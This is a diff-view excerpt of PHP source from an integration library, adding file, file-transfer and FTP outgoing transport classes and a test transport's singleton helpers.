67 |
+
}
|
68 |
+
|
69 |
+
/**
|
70 |
+
* Sends the populated response object to the response callback if one was specified in the test
|
71 |
+
* data
|
72 |
+
*
|
73 |
+
* @param Ampersand_Integration_Message_Data_Response $response
|
74 |
+
* @author Josh Di fabio <josh.difabio@ampersandit.co.uk>
|
75 |
+
*/
|
76 |
+
protected function _doResponseCallback(Ampersand_Integration_Message_Data_Response $response)
|
77 |
+
{
|
78 |
+
if ($callback = $this->_getTestDataObject()->getResponseCallback()) {
|
79 |
+
call_user_func($callback, $response);
|
80 |
+
}
|
81 |
+
}
|
82 |
+
|
83 |
+
/**
|
84 |
+
* Gets the test data object to use for this test
|
85 |
+
*
|
86 |
+
* @return Ampersand_Object
|
87 |
+
* @author Josh Di fabio <josh.difabio@ampersandit.co.uk>
|
88 |
+
*/
|
89 |
+
protected function _getTestDataObject()
|
90 |
+
{
|
91 |
+
if (is_null($this->_testDataObject)) {
|
92 |
+
$testData = self::shiftTestData();
|
93 |
+
$this->_testDataObject = new Ampersand_Object($testData);
|
94 |
+
}
|
95 |
+
|
96 |
+
return $this->_testDataObject;
|
97 |
+
}
|
98 |
+
|
99 |
+
/**
|
100 |
+
* Shifts data for next test off of the array within the singleton which contains all test
|
101 |
+
* datas
|
102 |
+
*
|
103 |
+
* @return array Return value is always an array
|
104 |
+
* @author Josh Di fabio <josh.difabio@ampersandit.co.uk>
|
105 |
+
*/
|
106 |
+
public static function shiftTestData()
|
107 |
+
{
|
108 |
+
$testData = array_shift(self::getSingleton()->_testDatas);
|
109 |
+
|
110 |
+
if (!is_array($testData)) {
|
111 |
+
$testData = array();
|
112 |
+
}
|
113 |
+
|
114 |
+
return $testData;
|
115 |
+
}
|
116 |
+
|
117 |
+
/**
|
118 |
+
* Pushes data for a single test onto the array within the singleton which contains all test
|
119 |
+
* datas
|
120 |
+
*
|
121 |
+
* @param array $testData
|
122 |
+
* @author Josh Di fabio <josh.difabio@ampersandit.co.uk>
|
123 |
+
*/
|
124 |
+
public static function pushTestData(array $testData)
|
125 |
+
{
|
126 |
+
array_push(self::getSingleton()->_testDatas, $testData);
|
127 |
+
}
|
128 |
+
|
129 |
+
/**
|
130 |
+
* Returns singleton instance of this class. Creates if it does not already exist
|
131 |
+
*
|
132 |
+
* @return Ampersand_Integration_Transport_Incoming_Test
|
133 |
+
* @author Josh Di fabio <josh.difabio@ampersandit.co.uk>
|
134 |
+
*/
|
135 |
+
public static function getSingleton()
|
136 |
+
{
|
137 |
+
$registryKey = 'singleton/transport_incoming_test';
|
138 |
+
|
139 |
+
if (!Ampersand_Integration_Registry::has($registryKey)) {
|
140 |
+
$singleton = new Ampersand_Integration_Transport_Incoming_Test();
|
141 |
+
Ampersand_Integration_Registry::set($registryKey, $singleton);
|
142 |
+
}
|
143 |
+
|
144 |
+
return Ampersand_Integration_Registry::get($registryKey);
|
145 |
+
}
|
146 |
+
}
|
lib/Ampersand/Integration/Transport/Interface.php
ADDED
@@ -0,0 +1,22 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Transport
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Transport
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
interface Ampersand_Integration_Transport_Interface
|
19 |
+
extends Ampersand_Integration_DebugableInterface, Ampersand_Integration_ConfigurableInterface
|
20 |
+
{
|
21 |
+
public function setConfig($config);
|
22 |
+
}
|
lib/Ampersand/Integration/Transport/Outgoing/Abstract.php
ADDED
@@ -0,0 +1,100 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Transport
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Transport
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
abstract class Ampersand_Integration_Transport_Outgoing_Abstract
|
19 |
+
extends Ampersand_Integration_Transport_Abstract
|
20 |
+
implements Ampersand_Integration_Transport_Outgoing_Interface
|
21 |
+
{
|
22 |
+
/** @var Ampersand_Integration_Message_Data_Request */
|
23 |
+
protected $_request;
|
24 |
+
/** @var mixed */
|
25 |
+
protected $_content;
|
26 |
+
/** @var array */
|
27 |
+
protected $_headers = array();
|
28 |
+
/** @var double */
|
29 |
+
protected $_responseLatency;
|
30 |
+
|
31 |
+
public function send(Ampersand_Integration_Message_Data_Request $request = null)
|
32 |
+
{
|
33 |
+
if (is_null($request)) {
|
34 |
+
$request = $this->getRequest();
|
35 |
+
}
|
36 |
+
|
37 |
+
$startTime = microtime(true);
|
38 |
+
try {
|
39 |
+
$output = $this->_send($request);
|
40 |
+
$this->_responseLatency = microtime(true) - $startTime;
|
41 |
+
$this->_isDebugReady = false;
|
42 |
+
} catch (Exception $e) {
|
43 |
+
$this->_responseLatency = microtime(true) - $startTime;
|
44 |
+
$this->_isDebugReady = false;
|
45 |
+
throw $e;
|
46 |
+
}
|
47 |
+
|
48 |
+
return $output;
|
49 |
+
}
|
50 |
+
|
51 |
+
protected function _send(Ampersand_Integration_Message_Data_Request $request)
|
52 |
+
{
|
53 |
+
return null;
|
54 |
+
}
|
55 |
+
|
56 |
+
protected function _prepareDebug(Ampersand_Integration_Debug_DebugInterface $debug)
|
57 |
+
{
|
58 |
+
parent::_prepareDebug($debug);
|
59 |
+
|
60 |
+
if (!$debug->hasResponseLatency()) {
|
61 |
+
$debug->setResponseLatency(round($this->_responseLatency, 3));
|
62 |
+
}
|
63 |
+
}
|
64 |
+
|
65 |
+
public function setRequest(Ampersand_Integration_Message_Data_Request $request)
|
66 |
+
{
|
67 |
+
$this->_request = $request;
|
68 |
+
|
69 |
+
return $this;
|
70 |
+
}
|
71 |
+
|
72 |
+
public function getRequest()
|
73 |
+
{
|
74 |
+
return $this->_request;
|
75 |
+
}
|
76 |
+
|
77 |
+
public function setContent($content)
|
78 |
+
{
|
79 |
+
$this->_content = $content;
|
80 |
+
|
81 |
+
return $this;
|
82 |
+
}
|
83 |
+
|
84 |
+
public function getContent()
|
85 |
+
{
|
86 |
+
return $this->_content;
|
87 |
+
}
|
88 |
+
|
89 |
+
public function setHeaders(array $headers)
|
90 |
+
{
|
91 |
+
$this->_headers = $headers;
|
92 |
+
|
93 |
+
return $this;
|
94 |
+
}
|
95 |
+
|
96 |
+
public function getHeaders()
|
97 |
+
{
|
98 |
+
return $this->_headers;
|
99 |
+
}
|
100 |
+
}
|
lib/Ampersand/Integration/Transport/Outgoing/File.php
ADDED
@@ -0,0 +1,338 @@
|
|
|
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|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Transport
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Transport
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Transport_Outgoing_File
|
19 |
+
extends Ampersand_Integration_Transport_Outgoing_Abstract
|
20 |
+
{
|
21 |
+
const APPEND = 'append'; // Append to existing file - only valid for file_exists action
|
22 |
+
const REPLACE = 'truncate'; // Replace existing file - file_exists
|
23 |
+
const NEW_FILE = 'new_file'; // Create a new file with a unique name - file_exists
|
24 |
+
const FAIL = 'fail'; // Throw an exception - file_exists, file_not_exists
|
25 |
+
const CREATE = 'create'; // Create file - file_not_exists
|
26 |
+
|
27 |
+
protected function _send(Ampersand_Integration_Message_Data_Request $request)
|
28 |
+
{
|
29 |
+
$config = $this->getConfig();
|
30 |
+
|
31 |
+
$fullDirectoryPath = $this->getDirectoryPath($config);
|
32 |
+
$this->_prepareDirectoryForWrite($fullDirectoryPath);
|
33 |
+
$filePath = $this->_getFinalFilePath(
|
34 |
+
$fullDirectoryPath,
|
35 |
+
$this->getFilename($config, false),
|
36 |
+
$config->getFilenameExtension(),
|
37 |
+
$config
|
38 |
+
);
|
39 |
+
|
40 |
+
$this->_writeFile($request->getContent(), $filePath, $config);
|
41 |
+
|
42 |
+
return array('file_path' => $filePath);
|
43 |
+
}
|
44 |
+
|
45 |
+
/**
|
46 |
+
* Writes a string to a given file path
|
47 |
+
*
|
48 |
+
* @param string $data
|
49 |
+
* @param string $filePath
|
50 |
+
* @param Ampersand_Object $config
|
51 |
+
* @return Ampersand_Integration_Transport_Outgoing_File
|
52 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
53 |
+
*/
|
54 |
+
protected function _writeFile($data, $filePath, Ampersand_Object $config)
|
55 |
+
{
|
56 |
+
if (false === ($fileHandle = @fopen($filePath, $this->_getFileMode($config)))) {
|
57 |
+
throw new Ampersand_Integration_Transport_Exception(
|
58 |
+
'Unable to open file for write'
|
59 |
+
);
|
60 |
+
}
|
61 |
+
|
62 |
+
if (false === @fwrite($fileHandle, $data)) {
|
63 |
+
throw new Ampersand_Integration_Transport_Exception(
|
64 |
+
'Unable to write to file'
|
65 |
+
);
|
66 |
+
}
|
67 |
+
|
68 |
+
fclose($fileHandle);
|
69 |
+
|
70 |
+
return $this;
|
71 |
+
}
|
72 |
+
|
73 |
+
/**
|
74 |
+
* Builds and returns the final file path to write the file to
|
75 |
+
*
|
76 |
+
* @param string $directoryPath
|
77 |
+
* @param string $filename
|
78 |
+
* @param string $fileExtension
|
79 |
+
* @param Ampersand_Object $config
|
80 |
+
* @return string
|
81 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
82 |
+
*/
|
83 |
+
protected function _getFinalFilePath($directoryPath, $filename, $fileExtension,
|
84 |
+
Ampersand_Object $config
|
85 |
+
) {
|
86 |
+
$filePath = $this->_buildFilePath($directoryPath, $filename, $fileExtension, '', $config);
|
87 |
+
|
88 |
+
if (!file_exists($filePath)) {
|
89 |
+
$this->_handleFileNotExists($filePath, $config);
|
90 |
+
} else {
|
91 |
+
$this->_handleFileExists($filePath, $config);
|
92 |
+
|
93 |
+
if (self::NEW_FILE === $config->getOnFileExists()) {
|
94 |
+
$filePath = $this->_getUnusedFilePath(
|
95 |
+
$directoryPath,
|
96 |
+
$filename,
|
97 |
+
$fileExtension,
|
98 |
+
$config
|
99 |
+
);
|
100 |
+
}
|
101 |
+
}
|
102 |
+
|
103 |
+
return $filePath;
|
104 |
+
}
|
105 |
+
|
106 |
+
/**
|
107 |
+
* Handles missing file when we are trying to write the file. Generally, this will not do
|
108 |
+
* anything as the default configuration specifies that files should be created if they do not
|
109 |
+
* exist. However, if the configuration specifies that we should only update and not create
|
110 |
+
* files, this method may throw an exception
|
111 |
+
*
|
112 |
+
* @param string $filePath
|
113 |
+
* @param Ampersand_Object $config
|
114 |
+
* @return Ampersand_Integration_Transport_Outgoing_File
|
115 |
+
* @throws Ampersand_Integration_Transport_Exception
|
116 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
117 |
+
*/
|
118 |
+
protected function _handleFileNotExists($filePath, Ampersand_Object $config)
|
119 |
+
{
|
120 |
+
switch ($config->getOnFileNotExists()) {
|
121 |
+
case self::FAIL:
|
122 |
+
throw new Ampersand_Integration_Transport_Exception(
|
123 |
+
'File does not exist'
|
124 |
+
);
|
125 |
+
case self::CREATE:
|
126 |
+
case null:
|
127 |
+
break;
|
128 |
+
default:
|
129 |
+
throw new Ampersand_Integration_Transport_Exception(
|
130 |
+
'Invalid file not exists action specified'
|
131 |
+
);
|
132 |
+
}
|
133 |
+
|
134 |
+
return $this;
|
135 |
+
}
|
136 |
+
|
137 |
+
/**
|
138 |
+
* Handles existing file when we are trying to write the file.
|
139 |
+
*
|
140 |
+
* @param string $filePath
|
141 |
+
* @param Ampersand_Object $config
|
142 |
+
* @return Ampersand_Integration_Transport_Outgoing_File
|
143 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
144 |
+
*/
|
145 |
+
protected function _handleFileExists($filePath, Ampersand_Object $config)
|
146 |
+
{
|
147 |
+
return $this;
|
148 |
+
}
|
149 |
+
|
150 |
+
/**
|
151 |
+
* Using a provided directory path, filename and file extension, this method returns a file path
|
152 |
+
* which is not already used. This file path may simply be the conjunction of the provided
|
153 |
+
* parameters; or, if that file path is already taken, this method may return that conjunction
|
154 |
+
* with a suffix added to the filename so that the file path is unique
|
155 |
+
*
|
156 |
+
* @param string $directoryPath
|
157 |
+
* @param string $filename
|
158 |
+
* @param string $filenameExtension
|
159 |
+
* @return string
|
160 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
161 |
+
*/
|
162 |
+
protected function _getUnusedFilePath($directoryPath, $filename, $filenameExtension,
|
163 |
+
Ampersand_Object $config
|
164 |
+
) {
|
165 |
+
$iteration = 1;
|
166 |
+
do {
|
167 |
+
$filenameSuffix = $this->_getFilenameSuffix($iteration, $config);
|
168 |
+
$filePath = $this->_buildFilePath(
|
169 |
+
$directoryPath, $filename, $filenameExtension, $filenameSuffix, $config
|
170 |
+
);
|
171 |
+
|
172 |
+
$iteration++;
|
173 |
+
} while (file_exists($filePath));
|
174 |
+
|
175 |
+
return $filePath;
|
176 |
+
}
|
177 |
+
|
178 |
+
/**
|
179 |
+
* Gets a string to append to a filename in order to try and make it unique
|
180 |
+
*
|
181 |
+
* @param int $iteration The number of attempts which have been made to obtain a unique file
|
182 |
+
* path, including the current one
|
183 |
+
* @return string
|
184 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
185 |
+
*/
|
186 |
+
protected function _getFilenameSuffix($iteration, Ampersand_Object $config)
|
187 |
+
{
|
188 |
+
if (1 == $iteration) {
|
189 |
+
return '';
|
190 |
+
}
|
191 |
+
|
192 |
+
return "_$iteration";
|
193 |
+
}
|
194 |
+
|
195 |
+
/**
|
196 |
+
* Builds a file path from a directory path, filename, file extension and filename suffix
|
197 |
+
*
|
198 |
+
* @param string $directoryPath
|
199 |
+
* @param string $filename
|
200 |
+
* @param string $filenameExtension
|
201 |
+
* @param string $filenameSuffix
|
202 |
+
* @param Ampersand_Object $config
|
203 |
+
* @return string
|
204 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
205 |
+
*/
|
206 |
+
protected function _buildFilePath($directoryPath, $filename, $filenameExtension,
|
207 |
+
$filenameSuffix, Ampersand_Object $config
|
208 |
+
) {
|
209 |
+
if ($filenameExtension) {
|
210 |
+
$filenameSuffix .= ".$filenameExtension";
|
211 |
+
}
|
212 |
+
|
213 |
+
return $directoryPath . DIRECTORY_SEPARATOR . $filename . $filenameSuffix;
|
214 |
+
}
|
215 |
+
|
216 |
+
/**
|
217 |
+
* Gets the file mode to use for fopen when obtaining a file handle to use for writing
|
218 |
+
*
|
219 |
+
* @param Ampersand_Object $config
|
220 |
+
* @return string
|
221 |
+
* @throws Ampersand_Integration_Transport_Exception
|
222 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
223 |
+
*/
|
224 |
+
protected function _getFileMode(Ampersand_Object $config)
|
225 |
+
{
|
226 |
+
switch ($config->getOnFileExists()) {
|
227 |
+
case self::FAIL:
|
228 |
+
case self::NEW_FILE:
|
229 |
+
$mode = 'x';
|
230 |
+
break;
|
231 |
+
case null:
|
232 |
+
case self::REPLACE:
|
233 |
+
$mode = 'w';
|
234 |
+
break;
|
235 |
+
case self::APPEND:
|
236 |
+
$mode = 'a';
|
237 |
+
break;
|
238 |
+
default:
|
239 |
+
throw new Ampersand_Integration_Transport_Exception(
|
240 |
+
'Invalid file exists action specified'
|
241 |
+
);
|
242 |
+
}
|
243 |
+
|
244 |
+
return $mode;
|
245 |
+
}
|
246 |
+
|
247 |
+
/**
|
248 |
+
* Prepares a directory path to be read
|
249 |
+
*
|
250 |
+
* @param string $directoryPath
|
251 |
+
* @return Ampersand_Integration_Transport_Outgoing_File
|
252 |
+
* @throws Ampersand_Integration_Transport_Exception Thrown when directory is not
|
253 |
+
* writeable or could not be created
|
254 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
255 |
+
*/
|
256 |
+
protected function _prepareDirectoryForWrite($directoryPath)
|
257 |
+
{
|
258 |
+
if (!$this->_isDirectoryWriteable($directoryPath) && !@mkdir($directoryPath, 0777, true)) {
|
259 |
+
throw new Ampersand_Integration_Transport_Exception(
|
260 |
+
"Unable to create directory ($directoryPath)"
|
261 |
+
);
|
262 |
+
}
|
263 |
+
|
264 |
+
return $this;
|
265 |
+
}
|
266 |
+
|
267 |
+
/**
|
268 |
+
* Checks whether a directory is writeable
|
269 |
+
*
|
270 |
+
* @param string $directoryPath
|
271 |
+
* @return bool
|
272 |
+
* @throws Ampersand_Integration_Transport_Exception Thrown when directory is not
|
273 |
+
* writeable or could not be created
|
274 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
275 |
+
*/
|
276 |
+
protected function _isDirectoryWriteable($directoryPath)
|
277 |
+
{
|
278 |
+
if (is_writeable($directoryPath)) {
|
279 |
+
return true;
|
280 |
+
}
|
281 |
+
|
282 |
+
if (file_exists($directoryPath)) {
|
283 |
+
throw new Ampersand_Integration_Transport_Exception(
|
284 |
+
'Directory already exists but is not writeable'
|
285 |
+
);
|
286 |
+
}
|
287 |
+
|
288 |
+
return false;
|
289 |
+
}
|
290 |
+
|
291 |
+
/**
|
292 |
+
* Returns the full path of the directory to which the file should be written
|
293 |
+
*
|
294 |
+
* @param Ampersand_Object $config
|
295 |
+
* @return string
|
296 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
297 |
+
*/
|
298 |
+
public function getDirectoryPath(Ampersand_Object $config)
|
299 |
+
{
|
300 |
+
$basePath = $this->_getBaseDirectoryPath($config);
|
301 |
+
$subPath = $config->getDirectoryPath();
|
302 |
+
$glue = $basePath && $subPath ? DIRECTORY_SEPARATOR : '';
|
303 |
+
|
304 |
+
return $basePath . $glue . $subPath;
|
305 |
+
}
|
306 |
+
|
307 |
+
/**
|
308 |
+
* Retrieves the base directory path from the configuration
|
309 |
+
*
|
310 |
+
* @param Ampersand_Object $config
|
311 |
+
* @return string
|
312 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
313 |
+
*/
|
314 |
+
protected function _getBaseDirectoryPath(Ampersand_Object $config)
|
315 |
+
{
|
316 |
+
return $config->getBaseDirectoryPath();
|
317 |
+
}
|
318 |
+
|
319 |
+
/**
|
320 |
+
* Gets the currently set filename. Possible to retrieve the filename with or without the file
|
321 |
+
* extension
|
322 |
+
*
|
323 |
+
* @param Ampersand_Object $config
|
324 |
+
* @param bool $includeExtension OPTIONAL
|
325 |
+
* @return string
|
326 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
327 |
+
*/
|
328 |
+
public function getFilename(Ampersand_Object $config, $includeExtension = true)
|
329 |
+
{
|
330 |
+
if ($includeExtension && ($extension = $config->getFilenameExtension())) {
|
331 |
+
$suffix = ".$extension";
|
332 |
+
} else {
|
333 |
+
$suffix = '';
|
334 |
+
}
|
335 |
+
|
336 |
+
return $config->getFilename() . $suffix;
|
337 |
+
}
|
338 |
+
}
|
lib/Ampersand/Integration/Transport/Outgoing/FileTransfer.php
ADDED
@@ -0,0 +1,41 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Transport
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Transport
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Transport_Outgoing_FileTransfer
|
19 |
+
extends Ampersand_Integration_Transport_FileTransferAbstract
|
20 |
+
implements Ampersand_Integration_Transport_Outgoing_Interface
|
21 |
+
{
|
22 |
+
/** @var Ampersand_Integration_Message_Data_Request */
|
23 |
+
protected $_request;
|
24 |
+
|
25 |
+
public function send(Ampersand_Integration_Message_Data_Request $request = null)
|
26 |
+
{
|
27 |
+
return $this->_copyOrMove($this->getConfig());
|
28 |
+
}
|
29 |
+
|
30 |
+
public function setRequest(Ampersand_Integration_Message_Data_Request $request)
|
31 |
+
{
|
32 |
+
$this->_request = $request;
|
33 |
+
|
34 |
+
return $this;
|
35 |
+
}
|
36 |
+
|
37 |
+
public function getRequest()
|
38 |
+
{
|
39 |
+
return $this->_request;
|
40 |
+
}
|
41 |
+
}
|
lib/Ampersand/Integration/Transport/Outgoing/Ftp.php
ADDED
@@ -0,0 +1,114 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Transport
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Transport
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Transport_Outgoing_Ftp
|
19 |
+
extends Ampersand_Integration_Transport_Outgoing_File
|
20 |
+
{
|
21 |
+
/**
|
22 |
+
* Gets the file mode to use for fopen when obtaining a file handle to use for writing
|
23 |
+
*
|
24 |
+
* @param Ampersand_Object $config
|
25 |
+
* @return string
|
26 |
+
* @throws Ampersand_Integration_Transport_Exception
|
27 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
28 |
+
*/
|
29 |
+
protected function _getFileMode(Ampersand_Object $config)
|
30 |
+
{
|
31 |
+
switch ($config->getOnFileExists()) {
|
32 |
+
case self::FAIL:
|
33 |
+
case self::NEW_FILE:
|
34 |
+
case null:
|
35 |
+
case self::REPLACE:
|
36 |
+
$mode = 'w';
|
37 |
+
break;
|
38 |
+
case self::APPEND:
|
39 |
+
$mode = 'a';
|
40 |
+
break;
|
41 |
+
default:
|
42 |
+
throw new Ampersand_Integration_Transport_Exception(
|
43 |
+
'Invalid file exists action specified'
|
44 |
+
);
|
45 |
+
}
|
46 |
+
|
47 |
+
return $mode;
|
48 |
+
}
|
49 |
+
|
50 |
+
/**
|
51 |
+
* Handles existing file when we are trying to write the file.
|
52 |
+
*
|
53 |
+
* @param string $filePath
|
54 |
+
* @param Ampersand_Object $config
|
55 |
+
* @return Ampersand_Integration_Transport_Outgoing_File
|
56 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
57 |
+
*/
|
58 |
+
protected function _handleFileExists($filePath, Ampersand_Object $config)
|
59 |
+
{
|
60 |
+
if (self::REPLACE === $config->getOnFileExists()) {
|
61 |
+
unlink($filePath);
|
62 |
+
}
|
63 |
+
|
64 |
+
return $this;
|
65 |
+
}
|
66 |
+
|
67 |
+
/**
|
68 |
+
* Checks whether a directory is writeable
|
69 |
+
*
|
70 |
+
* @param string $directoryPath
|
71 |
+
* @return bool
|
72 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
73 |
+
*/
|
74 |
+
protected function _isDirectoryWriteable($directoryPath)
|
75 |
+
{
|
76 |
+
return file_exists($directoryPath);
|
77 |
+
}
|
78 |
+
|
79 |
+
/**
|
80 |
+
* Retrieves the base directory path from the configuration
|
81 |
+
*
|
82 |
+
* @param Ampersand_Object $config
|
83 |
+
* @return string
|
84 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
85 |
+
*/
|
86 |
+
protected function _getBaseDirectoryPath(Ampersand_Object $config)
|
87 |
+
{
|
88 |
+
return $this->_getHostUri($config) . '/' . $config->getBaseDirectoryPath();
|
89 |
+
}
|
90 |
+
|
91 |
+
/**
|
92 |
+
* Generates the protocol and host part of the file URI
|
93 |
+
*
|
94 |
+
* @param Ampersand_Object $config
|
95 |
+
* @return string
|
96 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
97 |
+
*/
|
98 |
+
protected function _getHostUri(Ampersand_Object $config)
|
99 |
+
{
|
100 |
+
$uri = 'ftp://';
|
101 |
+
|
102 |
+
if ($user = $config->getUser()) {
|
103 |
+
$uri .= $user;
|
104 |
+
if ($password = $config->getPassword()) {
|
105 |
+
$uri .= ":$password";
|
106 |
+
}
|
107 |
+
$uri .= '@';
|
108 |
+
}
|
109 |
+
|
110 |
+
$uri .= $config->getHost();
|
111 |
+
|
112 |
+
return $uri;
|
113 |
+
}
|
114 |
+
}
|
lib/Ampersand/Integration/Transport/Outgoing/FtpTransfer.php
ADDED
@@ -0,0 +1,53 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Transport
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
